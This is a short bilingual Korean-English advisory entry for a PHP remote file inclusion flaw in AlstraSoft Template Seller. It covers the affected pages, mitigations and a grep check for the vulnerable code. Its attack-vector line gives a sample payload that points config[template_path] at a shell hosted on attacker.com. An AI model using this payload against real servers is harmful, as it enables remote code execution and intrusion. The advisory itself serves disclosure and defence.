🇰🇷 한글 설명
AlstraSoft Template Seller 및 AltraSoft Template Seller Pro 3.25의 결제 페이지에서 config[template_path] 매개변수를 통한 원격 파일 포함(RFI) 취약점이 존재한다. 공격자가 악의적인 URL을 입력하여 임의의 PHP 코드를 실행할 수 있다.
💡 쉬운 설명
AlstraSoft 템플릿 판매 소프트웨어에서 공격자가 악의적인 파일 경로를 입력하여 원격으로 서버의 코드를 실행할 수 있습니다. 인터넷에 노출된 웹사이트라면 누구나 악용할 수 있는 심각한 문제입니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in AlstraSoft Template Seller, and possibly AltraSoft Template Seller Pro 3.25, allow remote attackers to execute arbitrary PHP code via a URL in the config[template_path] parameter to (1) payment/payment_result.php or (2) /payment/spuser_result.php.
📍 영향받는 시스템
AlstraSoft Template Seller, AltraSoft Template Seller Pro 3.25 및 이전 버전
⚔️ 공격 벡터
payment/payment_result.php 또는 payment/spuser_result.php에 config[template_path]=http://attacker.com/shell.php 형태의 원격 URL을 포함시키는 HTTP 요청
🛡️ 대응 방법
최신 보안 패치 적용, 입력 값 검증 및 필터링, 파일 포함 함수의 동적 사용 제거, 웹 애플리케이션 방화벽(WAF) 배포
🔧 검증 코드
결과가 0이 아니면 취약한 코드 패턴이 존재하는 것이므로 즉시 패치가 필요합니다.
grep -r 'config\[template_path\]' /var/www 2>/dev/null | grep -E '(include|require)' | wc -l